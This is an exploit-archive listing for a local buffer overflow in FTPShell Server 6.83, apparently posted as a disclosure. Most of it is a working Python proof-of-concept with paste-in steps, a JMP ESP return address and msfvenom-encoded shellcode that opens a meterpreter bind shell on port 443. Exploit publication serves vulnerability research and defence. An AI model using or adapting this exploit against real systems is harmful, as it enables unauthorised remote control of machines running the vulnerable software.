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FTPShell Server 6.83 Virtual Path Mapping Local Buffer Overflow

FTPShell Server 6.83 Virtual Path Mapping Local Buffer Overflow
Posted Apr 10, 2019
Authored by Dino Covotsos

FTPShell Server version 6.83 Virtual Path Mapping local buffer overflow exploit.

tags | exploit, overflow, local
MD5 | 2e94eb3631317d0ae0e34bf110f586ea

FTPShell Server 6.83 Virtual Path Mapping Local Buffer Overflow

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#!/usr/bin/python
# Exploit Title: FTP Shell Server 6.83 'Virtual Path Mapping' Buffer Overflow
# Date: 09-04-2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: http://www.ftpshell.com/index.htm
# Version: 6.83
# Software Link : http://www.ftpshell.com/downloadserver.htm
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems
# Tested on: Windows XP SP3 ENG x86
# CVE: TBC from Mitre
# Created during 2019 Intern Training
# Greetz Amy, Delicia, Greg, Tonderai, Nzanoa & Telspace Systems Crew
# PoC:
# 1.) Generate ftpshell.txt, copy the contents to clipboard
# 2.) In the application, open 'Manage FTP Accounts' -> "Configure Accounts" -> "Add Path"
# 3.) Paste the contents of ftpshell.txt in "Virtual Path Mapping"
# 4.) Click "OK" and you'll have a bind meterpreter shell on port 443
#7E429353 FFE4 JMP ESP

#msfvenom -a x86 --platform windows -p windows/meterpreter/bind_tcp LPORT=443 -e x86/alpha_mixed -b "\x00\xd5\x0a\x0d\x1a\x03" -f c
shellcode = ("\xda\xc3\xd9\x74\x24\xf4\x59\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58"
"\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x6b\x4c"
"\x4a\x48\x6e\x62\x33\x30\x43\x30\x73\x30\x43\x50\x4f\x79\x6a"
"\x45\x70\x31\x59\x50\x42\x44\x6e\x6b\x66\x30\x50\x30\x4c\x4b"
"\x53\x62\x44\x4c\x4c\x4b\x31\x42\x64\x54\x4c\x4b\x54\x32\x35"
"\x78\x34\x4f\x4d\x67\x43\x7a\x77\x56\x50\x31\x39\x6f\x6c\x6c"
"\x47\x4c\x30\x61\x31\x6c\x76\x62\x36\x4c\x61\x30\x79\x51\x7a"
"\x6f\x76\x6d\x77\x71\x59\x57\x4a\x42\x5a\x52\x32\x72\x76\x37"
"\x6c\x4b\x46\x32\x34\x50\x6e\x6b\x30\x4a\x45\x6c\x4c\x4b\x30"
"\x4c\x36\x71\x74\x38\x39\x73\x30\x48\x73\x31\x58\x51\x46\x31"
"\x4c\x4b\x53\x69\x37\x50\x56\x61\x6b\x63\x6e\x6b\x32\x69\x42"
"\x38\x68\x63\x65\x6a\x70\x49\x6e\x6b\x57\x44\x6e\x6b\x63\x31"
"\x7a\x76\x54\x71\x6b\x4f\x4e\x4c\x4f\x31\x58\x4f\x34\x4d\x76"
"\x61\x4f\x37\x45\x68\x4d\x30\x64\x35\x68\x76\x44\x43\x71\x6d"
"\x7a\x58\x45\x6b\x53\x4d\x67\x54\x44\x35\x6a\x44\x32\x78\x6c"
"\x4b\x50\x58\x37\x54\x63\x31\x6b\x63\x75\x36\x4e\x6b\x34\x4c"
"\x70\x4b\x4e\x6b\x62\x78\x45\x4c\x35\x51\x69\x43\x6c\x4b\x76"
"\x64\x6c\x4b\x66\x61\x68\x50\x4e\x69\x73\x74\x55\x74\x61\x34"
"\x51\x4b\x33\x6b\x61\x71\x76\x39\x30\x5a\x36\x31\x6b\x4f\x6b"
"\x50\x71\x4f\x51\x4f\x71\x4a\x4e\x6b\x65\x42\x38\x6b\x6c\x4d"
"\x31\x4d\x70\x68\x75\x63\x70\x32\x63\x30\x47\x70\x42\x48\x54"
"\x37\x53\x43\x76\x52\x71\x4f\x50\x54\x63\x58\x32\x6c\x34\x37"
"\x77\x56\x54\x47\x49\x6f\x4e\x35\x68\x38\x7a\x30\x47\x71\x43"
"\x30\x43\x30\x57\x59\x4a\x64\x46\x34\x56\x30\x35\x38\x74\x69"
"\x4d\x50\x50\x6b\x57\x70\x39\x6f\x68\x55\x51\x7a\x54\x4b\x32"
"\x79\x30\x50\x6d\x32\x4b\x4d\x72\x4a\x33\x31\x71\x7a\x43\x32"
"\x72\x48\x58\x6a\x44\x4f\x79\x4f\x79\x70\x79\x6f\x5a\x75\x6c"
"\x57\x55\x38\x73\x32\x67\x70\x63\x31\x4d\x6b\x6f\x79\x49\x76"
"\x62\x4a\x62\x30\x61\x46\x42\x77\x75\x38\x6a\x62\x39\x4b\x45"
"\x67\x35\x37\x79\x6f\x78\x55\x6e\x65\x39\x50\x62\x55\x71\x48"
"\x31\x47\x55\x38\x4e\x57\x79\x79\x65\x68\x79\x6f\x49\x6f\x78"
"\x55\x32\x77\x51\x78\x32\x54\x48\x6c\x75\x6b\x68\x61\x49\x6f"
"\x38\x55\x51\x47\x6f\x67\x45\x38\x53\x45\x62\x4e\x50\x4d\x55"
"\x31\x79\x6f\x39\x45\x72\x4a\x53\x30\x30\x6a\x33\x34\x52\x76"
"\x36\x37\x73\x58\x64\x42\x48\x59\x69\x58\x53\x6f\x49\x6f\x38"
"\x55\x4c\x43\x38\x78\x53\x30\x51\x6e\x76\x4d\x6e\x6b\x57\x46"
"\x72\x4a\x51\x50\x61\x78\x67\x70\x36\x70\x75\x50\x33\x30\x30"
"\x56\x31\x7a\x53\x30\x33\x58\x43\x68\x49\x34\x30\x53\x69\x75"
"\x59\x6f\x6a\x75\x4a\x33\x46\x33\x43\x5a\x43\x30\x70\x56\x63"
"\x63\x63\x67\x62\x48\x77\x72\x58\x59\x39\x58\x53\x6f\x4b\x4f"
"\x49\x45\x4d\x53\x7a\x58\x55\x50\x43\x4e\x66\x67\x56\x61\x4b"
"\x73\x46\x49\x69\x56\x74\x35\x6d\x39\x79\x53\x4d\x6b\x58\x70"
"\x4d\x65\x6e\x42\x32\x76\x71\x7a\x65\x50\x56\x33\x69\x6f\x48"
"\x55\x41\x41")

buffer = "A" * 395 + "\x53\x93\x42\x7e" + "\x90" * 20 + shellcode + "C" * 211

payload = buffer
try:
f=open("ftpshell.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"

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